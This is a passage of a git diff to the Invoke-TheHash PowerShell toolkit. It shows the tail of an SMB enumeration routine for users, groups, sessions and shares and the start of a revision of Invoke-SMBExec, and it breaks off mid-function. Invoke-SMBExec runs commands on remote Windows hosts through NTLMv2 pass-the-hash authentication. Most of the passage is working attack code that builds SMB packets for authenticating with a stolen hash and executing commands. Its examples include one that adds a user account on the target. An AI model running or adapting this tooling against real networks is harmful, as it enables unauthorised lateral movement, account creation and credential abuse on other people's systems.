'EnumDomainUsers' + { + $step++ + $stage = 'ParseUsers' + } + + 'GetMembersInAlias' + { + $step++ + [Byte[]]$SID_array = $client_receive[140..([System.BitConverter]::ToInt16($client_receive[3..1],0) - 1)] + + if([System.BitConverter]::ToString($client_receive[156..159]) -eq '73-00-00-c0') + { + $stage = 'SAMRCloseRequest' + } + else + { + $named_pipe = 0x6c,0x00,0x73,0x00,0x61,0x00,0x72,0x00,0x70,0x00,0x63,0x00 # lsarpc + $stage = 'CreateRequest' + } + + } + + 'Logoff' + { + $stage = 'Exit' + } + + 'LookupNames' + { + $step++ + [Byte[]]$SAMR_RID = $client_receive[152..155] + + if([System.BitConverter]::ToString($client_receive[156..159]) -eq '73-00-00-c0') + { + $stage = 'SAMRCloseRequest' + } + else + { + + if($step -eq 4) + { + $stage = 'OpenGroup' + } + else + { + $stage = 'OpenAlias' + } + + } + + } + + 'LookupRids' + { + $step++ + $stage = 'ParseLookupRids' + } + + 'LSAClose' + { + $stage = 'CloseRequest' + } + + 'LSALookupSids' + { + $stage = 'ParseLookupSids' + } + + 'LSAOpenPolicy' + { + [Byte[]]$policy_handle = $client_receive[140..159] + + if($step -gt 2) + { + $stage = 'LSALookupSids' + } + else + { + $stage = 'LSAQueryInfoPolicy' + } + + } + + 'LSAQueryInfoPolicy' + { + [Byte[]]$LSA_domain_length_bytes = $client_receive[148..149] + $LSA_domain_length = [System.BitConverter]::ToInt16($LSA_domain_length_bytes,0) + [Byte[]]$LSA_domain_actual_count_bytes = $client_receive[168..171] + $LSA_domain_actual_count = [System.BitConverter]::ToInt32($LSA_domain_actual_count_bytes,0) + + if($LSA_domain_actual_count % 2) + { + $LSA_domain_length += 2 + } + + [Byte[]]$LSA_domain_SID = $client_receive[(176 + $LSA_domain_length)..(199 + $LSA_domain_length)] + $stage = 'LSAClose' + } + + 'NetSessEnum' + { + + if([System.BitConverter]::ToString($client_receive[172..175]) -eq '05-00-00-00') + { + Write-Output "[-] $username does not have permission to enumerate NetSessions on $target" + $stage = 'CloseRequest' + } + else + { + $stage = 'ParseSRVSVC' + } + + } + + 'NetShareEnumAll' + { + $stage = 'ParseSRVSVC' + } + + 'OpenAlias' + { + $step++ + [Byte[]]$SAMR_policy_handle = $client_receive[140..159] + + if([System.BitConverter]::ToString($client_receive[156..159]) -eq '73-00-00-c0') + { + $stage = 'SAMRCloseRequest' + } + else + { + $stage = 'GetMembersInAlias' + } + + } + + 'OpenDomain' + { + $step++ + [Byte[]]$SAMR_domain_handle = $client_receive[140..159] + + if($action_stage -eq 'User') + { + $stage = 'EnumDomainUsers' + } + else + { + $stage = 'LookupNames' + } + + } + + 'OpenGroup' + { + $step++ + [Byte[]]$group_handle = $client_receive[140..159] + $stage = 'QueryGroupMember' + } + + 'QueryGroupMember' + { + $step++ + [Byte[]]$RID_count_bytes = $client_receive[144..147] + $RID_count = [System.BitConverter]::ToInt16($RID_count_bytes,0) + [Byte[]]$RID_list = $client_receive[160..(159 + ($RID_count * 4))] + $stage = 'LookupRids' + } + + 'QueryInfoRequest' + { + $file_ID = $client_receive[132..147] + $stage = 'RPCBind' + } + + 'ReadRequest' + { + $stage = $stage_next + } + + 'RPCBind' + { + $stage = 'ReadRequest' + } + + 'SAMRCloseRequest' + { + $step++ + + if($step -eq 8) + { + Write-Output "[-] $Group group not found" + $stage = 'TreeDisconnect' + } + else + { + + if($step -eq 5 -and $action_stage -eq 'Group') + { + $LSA_domain_SID = 0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x05,0x20,0x00,0x00,0x00 + $SID_count = 0x01,0x00,0x00,0x00 + } + + $stage = 'OpenDomain' + } + + } + + 'TreeConnect' + { + $tree_ID = $client_receive[40..43] + $access_mask = $null + + if($client_receive[76] -eq 92) + { + $tree_access_mask = 0x00,0x00,0x00,0x00 + } + else + { + $tree_access_mask = $client_receive[80..83] + } + + if($share_list.Count -gt 0) + { + + if($client_receive[76] -ne 92) + { + + ForEach($byte in $tree_access_mask) + { + $access_mask = [System.Convert]::ToString($byte,2).PadLeft(8,'0') + $access_mask + } + + $response_object_list | Where-Object {$_.Share -eq $share_list[$j]} | ForEach-Object {$_."Access Mask" = $access_mask} + $stage = 'TreeDisconnect' + } + else + { + $access_mask = "00000000000000000000000000000000" + $response_object_list | Where-Object {$_.Share -eq $share_list[$j]} | ForEach-Object {$_."Access Mask" = $access_mask} + $stage = 'TreeConnect' + $j++ + } + + } + else + { + + if($action_stage -eq 'Share' -or $action_stage -eq 'NetSession') + { + $named_pipe = 0x73,0x00,0x72,0x00,0x76,0x00,0x73,0x00,0x76,0x00,0x63,0x00 # srvsvc + } + else + { + $named_pipe = 0x6c,0x00,0x73,0x00,0x61,0x00,0x72,0x00,0x70,0x00,0x63,0x00 # lsarpc + } + + $tree_IPC = $tree_ID + $stage = 'CreateRequest' + } + + } + + 'TreeDisconnect' + { + + if($Action -eq 'All') + { + + switch ($action_stage) + { + + 'group' + { + + if($RPC_access_denied) + { + $action_stage = "share" + } + else + { + $action_stage = "user" + $step = 0 + } + + $stage = "TreeConnect" + } + + 'user' + { + $action_stage = "NetSession" + $stage = "TreeConnect" + + } + + 'netsession' + { + $action_stage = "share" + $stage = "TreeConnect" + } + + 'share' + { + + if($share_list.Count -gt 0 -and $j -lt $share_list.Count - 1) + { + $stage = 'TreeConnect' + $j++ + } + elseif($share_list.Count -gt 0 -and $j -eq $share_list.Count - 1) + { + Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize + $tree_ID = $tree_IPC + $stage = 'TreeDisconnect' + $j++ + } + else + { + + if($inveigh_session -and !$Logoff) + { + $stage = 'Exit' + } + else + { + $stage = 'Logoff' + } + + } + + } + + } + + } + else + { + + if($action_stage -eq 'Share' -and $share_list.Count -gt 0 -and $j -lt $share_list.Count - 1) + { + $stage = 'TreeConnect' + $j++ + } + elseif($action_stage -eq 'Share' -and $share_list.Count -gt 0 -and $j -eq $share_list.Count - 1) + { + + if($TargetShow) + { + Write-Output "$Target Shares:" + } + + Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize + $tree_ID = $tree_IPC + $stage = 'TreeDisconnect' + $j++ + } + else + { + + if($inveigh_session -and !$Logoff) + { + $stage = 'Exit' + } + else + { + $stage = 'Logoff' + } + + } + + } + + } + + } + + } + + 'TreeConnect' + { + $message_ID++ + $stage_current = $stage + + if($share_list.Count -gt 0) + { + $path = "\\" + $Target + "\" + $share_list[$j] + $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($path) + } + + $packet_SMB_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2TreeConnectRequest $path_bytes + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + + try + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if(Get-StatusPending $client_receive[12..15]) + { + $stage = 'StatusPending' + } + else + { + $stage = 'StatusReceived' + } + + } + catch + { + Write-Output "[-] Session connection is closed" + $stage = 'Exit' + } + + } + + 'TreeDisconnect' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2TreeDisconnectRequest + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $stage = 'SendReceive' + } + + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + } + + + } + + if($inveigh_session -and $Inveigh) + { + $inveigh.session_lock_table[$session] = 'open' + $inveigh.session_message_ID_table[$session] = $message_ID + $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s} + } + + if(!$inveigh_session -or $Logoff) + { + $client.Close() + $client_stream.Close() + } + +} + +}
\ No newline at end of file diff --git a/Invoke-SMBExec.ps1 b/Invoke-SMBExec.ps1 index a293d77..7e6d24a 100644 --- a/Invoke-SMBExec.ps1 +++ b/Invoke-SMBExec.ps1 @@ -3,7 +3,10 @@ function Invoke-SMBExec <# .SYNOPSIS Invoke-SMBExec performs SMBExec style command execution with NTLMv2 pass the hash authentication. Invoke-SMBExec -supports SMB1 and SMB2 with and without SMB signing. +supports SMB1 and SMB2.1 with and without SMB signing. + +Author: Kevin Robertson (@kevin_robertson) +License: BSD 3-Clause .PARAMETER Target Hostname or IP address of target. @@ -13,7 +16,7 @@ Username to use for authentication. .PARAMETER Domain Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the -username. +username. .PARAMETER Hash NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. @@ -28,56 +31,84 @@ Default = Enabled: Prepend %COMSPEC% /C to Command. .PARAMETER Service Default = 20 Character Random: Name of the service to create and delete on the target. -.PARAMETER SMB1 -(Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the -target. - .PARAMETER Sleep Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this setting if you are experiencing strange results. +.PARAMETER Session +Inveigh-Relay authenticated session. + +.PARAMETER Version +Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB version negotiation and use SMB2.1 if supported by the +target. + .EXAMPLE +Execute a command. Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose .EXAMPLE -Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "net user SMBExec Winter2017 /add" +Check command execution privilege. +Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 .EXAMPLE -Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 +Execute a command using an authenticated Inveigh-Relay session. +Invoke-SMBExec -Session 1 -Command "command or launcher to execute" + +.EXAMPLE +Check if SMB signing is required. +Invoke-SMBExec -Target 192.168.100.20 .LINK https://github.com/Kevin-Robertson/Invoke-TheHash #> -[CmdletBinding()] +[CmdletBinding(DefaultParametersetName='Default')] param ( - [parameter(Mandatory=$true)][String]$Target, - [parameter(Mandatory=$true)][String]$Username, - [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$Target, + [parameter(ParameterSetName='Auth',Mandatory=$true)][String]$Username, + [parameter(ParameterSetName='Auth',Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$Command, [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y", - [parameter(Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, + [parameter(ParameterSetName='Auth',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, [parameter(Mandatory=$false)][String]$Service, - [parameter(Mandatory=$false)][Switch]$SMB1, + [parameter(Mandatory=$false)][ValidateSet("Auto","1","2.1")][String]$Version="Auto", + [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session, + [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff, + [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh, [parameter(Mandatory=$false)][Int]$Sleep=150 ) +if($PsCmdlet.ParameterSetName -ne 'Session' -and !$Target) +{ + Write-Output "[-] Target is required when not using -Session" + throw +} + if($Command) { $SMB_execute = $true } -if($SMB1) +if($Version -eq '1') { $SMB_version = 'SMB1' } +elseif($Version -eq '2.1') +{ + $SMB_version = 'SMB2.1' +} + +if($PsCmdlet.ParameterSetName -ne 'Auth' -and $PsCmdlet.ParameterSetName -ne 'Session') +{ + $signing_check = $true +} function ConvertFrom-PacketOrderedDictionary { - param($packet_ordered_dictionary) + param($OrderedDictionary) - ForEach($field in $packet_ordered_dictionary.Values) + ForEach($field in $OrderedDictionary.Values) { $byte_array += $field } @@ -87,625 +118,613 @@ function ConvertFrom-PacketOrderedDictionary #NetBIOS -function Get-PacketNetBIOSSessionService() +function New-PacketNetBIOSSessionService { - param([Int]$packet_header_length,[Int]$packet_data_length) + param([Int]$HeaderLength,[Int]$DataLength) - [Byte[]]$packet_netbios_session_service_length = [System.BitConverter]::GetBytes($packet_header_length + $packet_data_length) - $packet_NetBIOS_session_service_length = $packet_netbios_session_service_length[2..0] + [Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0] - $packet_NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary - $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Message_Type",[Byte[]](0x00)) - $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Length",[Byte[]]($packet_netbios_session_service_length)) + $NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary + $NetBIOSSessionService.Add("MessageType",[Byte[]](0x00)) + $NetBIOSSessionService.Add("Length",$length) - return $packet_NetBIOSSessionService + return $NetBIOSSessionService } #SMB1 -function Get-PacketSMBHeader() +function New-PacketSMBHeader { - param([Byte[]]$packet_command,[Byte[]]$packet_flags,[Byte[]]$packet_flags2,[Byte[]]$packet_tree_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_user_ID) - - $packet_SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBHeader.Add("SMBHeader_Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) - $packet_SMBHeader.Add("SMBHeader_Command",$packet_command) - $packet_SMBHeader.Add("SMBHeader_ErrorClass",[Byte[]](0x00)) - $packet_SMBHeader.Add("SMBHeader_Reserved",[Byte[]](0x00)) - $packet_SMBHeader.Add("SMBHeader_ErrorCode",[Byte[]](0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_Flags",$packet_flags) - $packet_SMBHeader.Add("SMBHeader_Flags2",$packet_flags2) - $packet_SMBHeader.Add("SMBHeader_ProcessIDHigh",[Byte[]](0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_Reserved2",[Byte[]](0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_TreeID",$packet_tree_ID) - $packet_SMBHeader.Add("SMBHeader_ProcessID",$packet_process_ID) - $packet_SMBHeader.Add("SMBHeader_UserID",$packet_user_ID) - $packet_SMBHeader.Add("SMBHeader_MultiplexID",[Byte[]](0x00,0x00)) - - return $packet_SMBHeader + param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID) + + $ProcessID = $ProcessID[0,1] + + $SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary + $SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) + $SMBHeader.Add("Command",$Command) + $SMBHeader.Add("ErrorClass",[Byte[]](0x00)) + $SMBHeader.Add("Reserved",[Byte[]](0x00)) + $SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00)) + $SMBHeader.Add("Flags",$Flags) + $SMBHeader.Add("Flags2",$Flags2) + $SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00)) + $SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00)) + $SMBHeader.Add("TreeID",$TreeID) + $SMBHeader.Add("ProcessID",$ProcessID) + $SMBHeader.Add("UserID",$UserID) + $SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00)) + + return $SMBHeader } - -function Get-PacketSMBNegotiateProtocolRequest() +function New-PacketSMBNegotiateProtocolRequest { - param([String]$packet_version) + param([String]$Version) - if($packet_version -eq 'SMB1') + if($Version -eq 'SMB1') { - [Byte[]]$packet_byte_count = 0x0c,0x00 + [Byte[]]$byte_count = 0x0c,0x00 } else { - [Byte[]]$packet_byte_count = 0x22,0x00 + [Byte[]]$byte_count = 0x22,0x00 } - $packet_SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_WordCount",[Byte[]](0x00)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_ByteCount",$packet_byte_count) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) + $SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00)) + $SMBNegotiateProtocolRequest.Add("ByteCount",$byte_count) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) - if($packet_version -ne 'SMB1') + if($version -ne 'SMB1') { - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) } - return $packet_SMBNegotiateProtocolRequest + return $SMBNegotiateProtocolRequest } -function Get-PacketSMBSessionSetupAndXRequest() +function New-PacketSMBSessionSetupAndXRequest { - param([Byte[]]$packet_security_blob) - - [Byte[]]$packet_byte_count = [System.BitConverter]::GetBytes($packet_security_blob.Length) - $packet_byte_count = $packet_byte_count[0,1] - [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length + 5) - $packet_security_blob_length = $packet_security_blob_length[0,1] - - $packet_SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_WordCount",[Byte[]](0x0c)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxBuffer",[Byte[]](0xff,0xff)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxMpxCount",[Byte[]](0x02,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_VCNumber",[Byte[]](0x01,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlobLength",$packet_byte_count) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_ByteCount",$packet_security_blob_length) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlob",$packet_security_blob) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeOS",[Byte[]](0x00,0x00,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeLANManage",[Byte[]](0x00,0x00)) - - return $packet_SMBSessionSetupAndXRequest + param([Byte[]]$SecurityBlob) + + [Byte[]]$byte_count = [System.BitConverter]::GetBytes($SecurityBlob.Length)[0,1] + [Byte[]]$security_blob_length = [System.BitConverter]::GetBytes($SecurityBlob.Length + 5)[0,1] + + $SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMBSessionSetupAndXRequest.Add("WordCount",[Byte[]](0x0c)) + $SMBSessionSetupAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $SMBSessionSetupAndXRequest.Add("Reserved",[Byte[]](0x00)) + $SMBSessionSetupAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $SMBSessionSetupAndXRequest.Add("MaxBuffer",[Byte[]](0xff,0xff)) + $SMBSessionSetupAndXRequest.Add("MaxMpxCount",[Byte[]](0x02,0x00)) + $SMBSessionSetupAndXRequest.Add("VCNumber",[Byte[]](0x01,0x00)) + $SMBSessionSetupAndXRequest.Add("SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) + $SMBSessionSetupAndXRequest.Add("SecurityBlobLength",$byte_count) + $SMBSessionSetupAndXRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $SMBSessionSetupAndXRequest.Add("Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) + $SMBSessionSetupAndXRequest.Add("ByteCount",$security_blob_length) + $SMBSessionSetupAndXRequest.Add("SecurityBlob",$SecurityBlob) + $SMBSessionSetupAndXRequest.Add("NativeOS",[Byte[]](0x00,0x00,0x00)) + $SMBSessionSetupAndXRequest.Add("NativeLANManage",[Byte[]](0x00,0x00)) + + return $SMBSessionSetupAndXRequest } -function Get-PacketSMBTreeConnectAndXRequest() +function New-PacketSMBTreeConnectAndXRequest { - param([Byte[]]$packet_path) - - [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length + 7) - $packet_path_length = $packet_path_length[0,1] - - $packet_SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_WordCount",[Byte[]](0x04)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Flags",[Byte[]](0x00,0x00)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_PasswordLength",[Byte[]](0x01,0x00)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_ByteCount",$packet_path_length) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Password",[Byte[]](0x00)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Tree",$packet_path) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Service",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00)) - - return $packet_SMBTreeConnectAndXRequest + param([Byte[]]$Path) + + [Byte[]]$path_length = $([System.BitConverter]::GetBytes($Path.Length + 7))[0,1] + + $SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMBTreeConnectAndXRequest.Add("WordCount",[Byte[]](0x04)) + $SMBTreeConnectAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $SMBTreeConnectAndXRequest.Add("Reserved",[Byte[]](0x00)) + $SMBTreeConnectAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $SMBTreeConnectAndXRequest.Add("Flags",[Byte[]](0x00,0x00)) + $SMBTreeConnectAndXRequest.Add("PasswordLength",[Byte[]](0x01,0x00)) + $SMBTreeConnectAndXRequest.Add("ByteCount",$path_length) + $SMBTreeConnectAndXRequest.Add("Password",[Byte[]](0x00)) + $SMBTreeConnectAndXRequest.Add("Tree",$Path) + $SMBTreeConnectAndXRequest.Add("Service",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00)) + + return $SMBTreeConnectAndXRequest } -function Get-PacketSMBNTCreateAndXRequest() +function New-PacketSMBNTCreateAndXRequest { - param([Byte[]]$packet_named_pipe) - - [Byte[]]$packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) - $packet_named_pipe_length = $packet_named_pipe_length[0,1] - [Byte[]]$packet_file_name_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length - 1) - $packet_file_name_length = $packet_file_name_length[0,1] - - $packet_SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_WordCount",[Byte[]](0x18)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved2",[Byte[]](0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileNameLen",$packet_file_name_length) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateFlags",[Byte[]](0x16,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_RootFID",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AllocationSize",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileAttributes",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ShareAccess",[Byte[]](0x07,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Disposition",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateOptions",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_SecurityFlags",[Byte[]](0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ByteCount",$packet_named_pipe_length) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Filename",$packet_named_pipe) - - return $packet_SMBNTCreateAndXRequest + param([Byte[]]$NamedPipe) + + [Byte[]]$named_pipe_length = $([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1] + [Byte[]]$file_name_length = 